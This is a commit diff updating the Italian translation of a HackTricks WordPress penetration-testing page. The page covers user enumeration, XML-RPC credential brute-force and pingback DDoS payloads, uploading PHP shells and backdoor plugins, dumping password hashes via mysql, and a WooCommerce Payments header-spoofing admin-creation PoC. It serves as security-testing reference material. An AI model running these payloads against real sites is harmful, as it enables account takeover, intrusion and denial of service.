mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network
This commit is contained in:
		
							parent
							
								
									d9baa896a4
								
							
						
					
					
						commit
						abf2e7c968
					
				| @ -5,46 +5,46 @@ | ||||
| ## Informazioni di base | ||||
| 
 | ||||
| - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` | ||||
| - **Themes files can be found in /wp-content/themes/,** quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| - **Themes files can be found in /wp-content/themes/,** quindi se modifichi qualche php del theme per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando **theme twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| 
 | ||||
| - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| 
 | ||||
| - In **wp-config.php** puoi trovare la password root del database. | ||||
| - Percorsi di login di default da verificare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ | ||||
| - In `wp-config.php` puoi trovare la password root del database. | ||||
| - Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ | ||||
| 
 | ||||
| ### **Main WordPress Files** | ||||
| ### **File principali di WordPress** | ||||
| 
 | ||||
| - `index.php` | ||||
| - `license.txt` contiene informazioni utili come la versione di WordPress installata. | ||||
| - `wp-activate.php` è usato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress. | ||||
| - `wp-activate.php` è usato per il processo di attivazione via email quando si configura un nuovo sito WordPress. | ||||
| - Cartelle di login (possono essere rinominate per nasconderle): | ||||
| - `/wp-admin/login.php` | ||||
| - `/wp-admin/wp-login.php` | ||||
| - `/login.php` | ||||
| - `/wp-login.php` | ||||
| - `xmlrpc.php` è un file che rappresenta una feature di WordPress che permette di trasmettere dati con HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference). | ||||
| - La cartella `wp-content` è la directory principale dove sono memorizzati plugin e temi. | ||||
| - `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che permette di trasmettere dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference). | ||||
| - La cartella `wp-content` è la directory principale dove sono memorizzati plugin e theme. | ||||
| - `wp-content/uploads/` è la directory dove vengono salvati i file caricati sulla piattaforma. | ||||
| - `wp-includes/` è la directory dove sono memorizzati i file core, come certificati, font, file JavaScript e widget. | ||||
| - `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili. | ||||
| - `wp-includes/` è la directory dove sono archiviati i file core, come certificati, fonts, file JavaScript e widget. | ||||
| - `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera una sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili. | ||||
| 
 | ||||
| **Post-exploitation** | ||||
| **Post exploitation** | ||||
| 
 | ||||
| - Il file `wp-config.php` contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys and salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting. | ||||
| - Il file `wp-config.php` contiene informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys e salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting. | ||||
| 
 | ||||
| ### Permessi utenti | ||||
| 
 | ||||
| - **Administrator** | ||||
| - **Editor**: Pubblica e gestisce i propri e gli altrui post | ||||
| - **Author**: Pubblica e gestisce i propri post | ||||
| - **Contributor**: Scrive e gestisce i propri post ma non può pubblicarli | ||||
| - **Subscriber**: Visualizza i post e modifica il proprio profilo | ||||
| - **Amministratore** | ||||
| - **Editor**: Pubblica e gestisce i propri e gli altri post | ||||
| - **Autore**: Pubblica e gestisce i propri post | ||||
| - **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli | ||||
| - **Iscritto**: Naviga i post e modifica il proprio profilo | ||||
| 
 | ||||
| ## **Enumerazione passiva** | ||||
| 
 | ||||
| ### **Ottenere la versione di WordPress** | ||||
| 
 | ||||
| Verifica se riesci a trovare i file `/license.txt` o `/readme.html` | ||||
| Controlla se riesci a trovare i file `/license.txt` o `/readme.html` | ||||
| 
 | ||||
| All'interno del **codice sorgente** della pagina (esempio da [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): | ||||
| 
 | ||||
| @ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress' | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| - File CSS collegati | ||||
| - File di collegamento CSS | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| @ -68,11 +68,11 @@ curl https://victim.com/ | grep 'content="WordPress' | ||||
| ```bash | ||||
| curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 | ||||
| ``` | ||||
| ### Ottenere temi | ||||
| ### Ottenere Temi | ||||
| ```bash | ||||
| curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 | ||||
| ``` | ||||
| ### Estrarre le versioni in generale | ||||
| ### Estrazione delle versioni in generale | ||||
| ```bash | ||||
| curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 | ||||
| 
 | ||||
| @ -81,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp | ||||
| 
 | ||||
| ### Plugins and Themes | ||||
| 
 | ||||
| Probabilmente non riuscirai a trovare tutti i Plugins e Themes possibili. Per scoprirli tutti, dovrai **eseguire attivamente Brute Force su una lista di Plugins and Themes** (per nostra fortuna esistono strumenti automatici che contengono queste liste). | ||||
| Probabilmente non riuscirai a trovare tutti i Plugins and Themes possibili. Per scoprirli tutti, dovrai **actively Brute Force a list of Plugins and Themes** (si spera esistano strumenti automatizzati che contengono queste liste). | ||||
| 
 | ||||
| ### Utenti | ||||
| ### Users | ||||
| 
 | ||||
| - **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando Brute Forcing sugli ID utente: | ||||
| - **ID Brute:** Ottieni utenti validi da un sito WordPress tramite Brute Forcing users IDs: | ||||
| ```bash | ||||
| curl -s -I -X GET http://blog.example.com/?author=1 | ||||
| ``` | ||||
| @ -99,19 +99,19 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti | ||||
| ```bash | ||||
| curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL | ||||
| ``` | ||||
| Note that this endpoint only exposes users that have made a post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata**. | ||||
| Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzione abilitata**. | ||||
| 
 | ||||
| Also note that **/wp-json/wp/v2/pages** could leak IP addresses. | ||||
| Nota anche che **/wp-json/wp/v2/pages** potrebbe leak indirizzi IP. | ||||
| 
 | ||||
| - **Login username enumeration**: Quando effettui il login in **`/wp-login.php`**, il **messaggio** è **diverso** a seconda che l'**username** esista o meno. | ||||
| - **Login username enumeration**: Quando effettui il login su **`/wp-login.php`** il **messaggio** è **diverso** e indica se lo **username esiste o meno**. | ||||
| 
 | ||||
| ### XML-RPC | ||||
| 
 | ||||
| Se `xml-rpc.php` è attivo puoi eseguire un brute-force delle credentials o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) for example). | ||||
| Se `xml-rpc.php` è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) per esempio). | ||||
| 
 | ||||
| To see if it is active try to access to _**/xmlrpc.php**_ and send this request: | ||||
| Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta: | ||||
| 
 | ||||
| **Controlla** | ||||
| **Verifica** | ||||
| ```html | ||||
| <methodCall> | ||||
| <methodName>system.listMethods</methodName> | ||||
| @ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: | ||||
| ``` | ||||
|  | ||||
| 
 | ||||
| **Credenziali Bruteforce** | ||||
| **Credentials Bruteforce** | ||||
| 
 | ||||
| **`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per il brute-force delle credenziali. Se ne trovi uno puoi inviare qualcosa del tipo: | ||||
| **`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per brute-force credentials. Se riesci a trovare uno di questi puoi inviare qualcosa del tipo: | ||||
| ```html | ||||
| <methodCall> | ||||
| <methodName>wp.getUsersBlogs</methodName> | ||||
| @ -132,7 +132,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: | ||||
| </params> | ||||
| </methodCall> | ||||
| ``` | ||||
| Il messaggio _"Incorrect username or password"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide. | ||||
| La stringa _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide. | ||||
| 
 | ||||
|  (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) | ||||
| 
 | ||||
| @ -168,18 +168,18 @@ Usando le credenziali corrette puoi caricare un file. Nella risposta apparirà i | ||||
| </params> | ||||
| </methodCall> | ||||
| ``` | ||||
| Esiste anche un modo **più veloce** per fare brute-force delle credenziali usando **`system.multicall`**, poiché puoi provare più credenziali nella stessa richiesta: | ||||
| Esiste anche un **modo più veloce** per brute-force credentials usando **`system.multicall`** poiché puoi provare più credenziali nella stessa richiesta: | ||||
| 
 | ||||
| <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure> | ||||
| 
 | ||||
| **Bypass 2FA** | ||||
| 
 | ||||
| Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta la 2FA. Quindi, se hai creds validi ma l'accesso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quei creds bypassando la 2FA**. Nota che non potrai eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) | ||||
| Questo metodo è pensato per programmi e non per esseri umani, ed è obsoleto, quindi non supporta 2FA. Quindi, se hai creds validi ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quelle creds bypassando 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque riuscire a ottenere RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) | ||||
| 
 | ||||
| **DDoS or port scanning** | ||||
| 
 | ||||
| Se riesci a trovare il metodo _**pingback.ping**_ nella lista puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\ | ||||
| Questo può essere usato per chiedere a **migliaia** di siti **Wordpress** di **accedere** a una sola **location** (quindi si causa un **DDoS** su quella location) oppure puoi usarlo per far **Wordpress** **scansionare** una rete interna (puoi specificare qualsiasi porta). | ||||
| Questo può essere usato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una singola **destinazione** (così viene causato un **DDoS** in quella destinazione) oppure puoi usarlo per far eseguire a **Wordpress** lo **scan** di una **internal network** (puoi indicare qualsiasi porta). | ||||
| ```html | ||||
| <methodCall> | ||||
| <methodName>pingback.ping</methodName> | ||||
| @ -193,7 +193,7 @@ Questo può essere usato per chiedere a **migliaia** di siti **Wordpress** di ** | ||||
| 
 | ||||
| Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che la porta è aperta. | ||||
| 
 | ||||
| Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare un DDoS. | ||||
| Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS. | ||||
| 
 | ||||
| **DDoS** | ||||
| ```html | ||||
| @ -210,14 +210,14 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i | ||||
| ### wp-cron.php DoS | ||||
| 
 | ||||
| Questo file di solito si trova nella root del sito Wordpress: **`/wp-cron.php`**\ | ||||
| Quando questo file viene **acceduto** viene eseguita una **pesante** MySQL **query**, quindi può essere usato da **attackers** per **causare** un **DoS**.\ | ||||
| Inoltre, per default, `wp-cron.php` viene chiamato ad ogni caricamento della pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS). | ||||
| Quando questo file viene **acceduto** viene eseguita una **pesante** MySQL **query**, quindi potrebbe essere usato da **attaccanti** per **causare** un **DoS**.\ | ||||
| Inoltre, di default, il `wp-cron.php` viene chiamato a ogni caricamento di pagina (ogni volta che un client richiede una pagina di Wordpress), il che su siti ad alto traffico può causare problemi (DoS). | ||||
| 
 | ||||
| Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sull'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi). | ||||
| 
 | ||||
| ### /wp-json/oembed/1.0/proxy - SSRF | ||||
| 
 | ||||
| Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il Worpress site potrebbe effettuare una richiesta verso di te. | ||||
| Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Wordpress potrebbe effettuare una richiesta verso di te. | ||||
| 
 | ||||
| This is the response when it doesn't work: | ||||
| 
 | ||||
| @ -230,7 +230,7 @@ This is the response when it doesn't work: | ||||
| https://github.com/t0gu/quickpress/blob/master/core/requests.go | ||||
| {{#endref}} | ||||
| 
 | ||||
| Questo tool verifica se esiste **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy**; se presenti, tenta di sfruttarli. | ||||
| Questo strumento verifica se esistono **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy** e, se presenti, prova a sfruttarli. | ||||
| 
 | ||||
| ## Strumenti automatici | ||||
| ```bash | ||||
| @ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 | ||||
| wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) | ||||
| #You can try to bruteforce the admin user using wpscan with "-U admin" | ||||
| ``` | ||||
| ## Ottenere accesso sovrascrivendo un bit | ||||
| ## Ottenere l'accesso sovrascrivendo un bit | ||||
| 
 | ||||
| Più che un vero attacco, questa è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit di qualsiasi file di wordpress. Quindi potevi modificare il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`). | ||||
| Più che un vero attacco, è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) si poteva invertire 1 bit in qualsiasi file di wordpress. Quindi si poteva invertire il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare l'operazione NOT (`!`) in NOP. | ||||
| ```php | ||||
| if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { | ||||
| return new WP_Error( | ||||
| ``` | ||||
| ## **Pannello RCE** | ||||
| 
 | ||||
| **Modificare un file php del tema in uso (sono necessarie credenziali admin)** | ||||
| **Modifica di un file php del tema in uso (credenziali admin necessarie)** | ||||
| 
 | ||||
| Aspetto → Editor del tema → Template 404 (a destra) | ||||
| Aspetto → Theme Editor → 404 Template (a destra) | ||||
| 
 | ||||
| Modifica il contenuto inserendo una php shell: | ||||
| Cambia il contenuto con una php shell: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| 
 | ||||
| ### MSF | ||||
| 
 | ||||
| @ -270,7 +270,7 @@ per ottenere una sessione. | ||||
| ### PHP plugin | ||||
| 
 | ||||
| Potrebbe essere possibile caricare file .php come plugin.\ | ||||
| Crea il tuo backdoor php usando per esempio: | ||||
| Crea il tuo php backdoor usando per esempio: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| @ -278,52 +278,52 @@ Poi aggiungi un nuovo plugin: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Carica il plugin e premi Install Now: | ||||
| Upload plugin and press Install Now: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Clicca su Procced: | ||||
| Click on Procced: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Probabilmente apparentemente non succederà nulla, ma se vai in Media, vedrai la tua shell caricata: | ||||
| Probabilmente apparentemente non succederà nulla, ma se vai in Media vedrai la tua shell caricata: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Accedi e vedrai l'URL per eseguire la reverse shell: | ||||
| Accedi e vedrai l'URL per eseguire il reverse shell: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| ### Caricamento e attivazione di un plugin malevolo | ||||
| ### Uploading and activating malicious plugin | ||||
| 
 | ||||
| Questo metodo implica l'installazione di un plugin malevolo noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite il WordPress dashboard come segue: | ||||
| Questo metodo prevede l'installazione di un plugin maligno noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Il processo viene effettuato tramite il WordPress dashboard come segue: | ||||
| 
 | ||||
| 1. **Plugin Acquisition**: Il plugin si ottiene da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374). | ||||
| 1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374). | ||||
| 2. **Plugin Installation**: | ||||
| - Vai al WordPress dashboard, quindi vai a `Dashboard > Plugins > Upload Plugin`. | ||||
| - Carica il file zip del plugin scaricato. | ||||
| 3. **Plugin Activation**: Una volta che il plugin è stato installato correttamente, deve essere attivato tramite la dashboard. | ||||
| 4. **Sfruttamento**: | ||||
| - Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato in quanto noto per essere vulnerabile. | ||||
| - Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile ottenere una sessione meterpreter, concedendo accesso non autorizzato al sito. | ||||
| - Si osserva che questo è solo uno dei tanti metodi per sfruttare un sito WordPress. | ||||
| - Naviga nel WordPress dashboard, poi vai a `Dashboard > Plugins > Upload Plugin`. | ||||
| - Upload the zip file of the downloaded plugin. | ||||
| 3. **Plugin Activation**: Una volta che il plugin è installato con successo, deve essere attivato tramite il dashboard. | ||||
| 4. **Exploitation**: | ||||
| - Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile. | ||||
| - Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile stabilire una sessione meterpreter, ottenendo accesso non autorizzato al sito. | ||||
| - Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress. | ||||
| 
 | ||||
| Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come penetration testing con esplicita autorizzazione. | ||||
| Il contenuto include supporti visivi che mostrano i passaggi nel WordPress dashboard per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la corretta autorizzazione. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come penetration testing con esplicita autorizzazione. | ||||
| 
 | ||||
| **Per istruzioni più dettagliate controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) | ||||
| **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) | ||||
| 
 | ||||
| ## Da XSS a RCE | ||||
| 
 | ||||
| - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o ad altre vulnerabilità critiche in WordPress. Per maggiori informazioni consulta [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per WordPress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** | ||||
| - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** | ||||
| - _**Privilege Escalation:**_ Crea un utente in WordPress. | ||||
| - _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) su WordPress. | ||||
| - _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo custom plugin (backdoor) su WordPress. | ||||
| - _**(RCE) Built-In Plugin Edit:**_ Modifica un Built-In Plugin in WordPress. | ||||
| - _**(RCE) Built-In Theme Edit:**_ Modifica un Built-In Theme in WordPress. | ||||
| - _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/theme di terze parti di WordPress. | ||||
| - _**(Custom) Custom Exploits:**_ Exploit personalizzati per Third-Party WordPress Plugins/Themes. | ||||
| 
 | ||||
| ## Post Exploitation | ||||
| 
 | ||||
| Estrai nomi utente e password: | ||||
| Estrai username e password: | ||||
| ```bash | ||||
| mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" | ||||
| ``` | ||||
| @ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE | ||||
| 
 | ||||
| ### Superficie d'attacco | ||||
| 
 | ||||
| Sapere come un plugin di Wordpress possa esporre funzionalità è fondamentale per individuare vulnerabilità nella sua logica. Puoi vedere come un plugin possa esporre funzionalità nei punti elenco seguenti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/). | ||||
| Sapere come un plugin Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi vedere come un plugin potrebbe esporre funzionalità nei punti elencati di seguito e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/). | ||||
| 
 | ||||
| - **`wp_ajax`** | ||||
| 
 | ||||
| Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Queste funzioni possono contenere bug di logica, di autorizzazione o di autenticazione. Inoltre, è abbastanza frequente che tali funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe possedere** (indipendentemente dal ruolo). | ||||
| Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Questi possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo). | ||||
| 
 | ||||
| Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin: | ||||
| ```php | ||||
| add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); | ||||
| add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); | ||||
| ``` | ||||
| **L'uso di `nopriv` rende l'endpoint accessibile a qualsiasi utente (anche non autenticati).** | ||||
| **L'uso di `nopriv` rende l'endpoint accessibile da qualsiasi utente (anche non autenticati).** | ||||
| 
 | ||||
| > [!CAUTION] | ||||
| > Inoltre, se la funzione verifica solo l'autorizzazione dell'utente tramite la funzione `wp_verify_nonce`, questa funzione verifica soltanto che l'utente sia autenticato, solitamente non controlla il ruolo dell'utente. Di conseguenza utenti con pochi privilegi potrebbero avere accesso ad azioni ad alto privilegio. | ||||
| > Inoltre, se la funzione sta solo verificando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione verifica solo che l'utente sia autenticato, di solito non controlla il ruolo dell'utente. Quindi utenti con privilegi bassi potrebbero avere accesso ad azioni con privilegi elevati. | ||||
| 
 | ||||
| - **REST API** | ||||
| 
 | ||||
| È anche possibile esporre funzioni di wordpress registrando una REST API usando la funzione `register_rest_route`: | ||||
| È anche possibile esporre funzioni da wordpress registrando una REST API usando la funzione `register_rest_route`: | ||||
| ```php | ||||
| register_rest_route( | ||||
| $this->namespace, '/get/', array( | ||||
| @ -365,19 +365,19 @@ $this->namespace, '/get/', array( | ||||
| ``` | ||||
| La `permission_callback` è una funzione di callback che verifica se un dato utente è autorizzato a chiamare il metodo API. | ||||
| 
 | ||||
| **Se viene utilizzata la funzione integrata `__return_true`, salterà semplicemente il controllo delle autorizzazioni utente.** | ||||
| **Se viene usata la funzione integrata `__return_true`, salterà semplicemente il controllo dei permessi utente.** | ||||
| 
 | ||||
| - **Accesso diretto al file php** | ||||
| 
 | ||||
| Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso un plugin esponga una funzionalità vulnerabile attivabile semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente. | ||||
| Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente. | ||||
| 
 | ||||
| ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) | ||||
| 
 | ||||
| Alcuni plugin implementano scorciatoie di “trusted header” per integrazioni interne o reverse proxies e poi utilizzano quell'intestazione per impostare il contesto dell'utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e colpire rotte REST privilegiate come amministratore. | ||||
| Alcuni plugin implementano scorciatoie “trusted header” per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente a monte, un attaccante può falsificarlo e colpire route REST privilegiate come amministratore. | ||||
| 
 | ||||
| - Impact: escalatione dei privilegi non autenticata a amministratore creando un nuovo amministratore tramite la core users REST route. | ||||
| - Example header: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore). | ||||
| - Exploited route: `POST /wp-json/wp/v2/users` con un array di ruolo elevato. | ||||
| - Impatto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route. | ||||
| - Header di esempio: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore). | ||||
| - Route sfruttata: `POST /wp-json/wp/v2/users` con un array di ruolo elevato. | ||||
| 
 | ||||
| PoC | ||||
| ```http | ||||
| @ -393,38 +393,29 @@ Content-Length: 114 | ||||
| ``` | ||||
| Perché funziona | ||||
| 
 | ||||
| - Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli sulle capability. | ||||
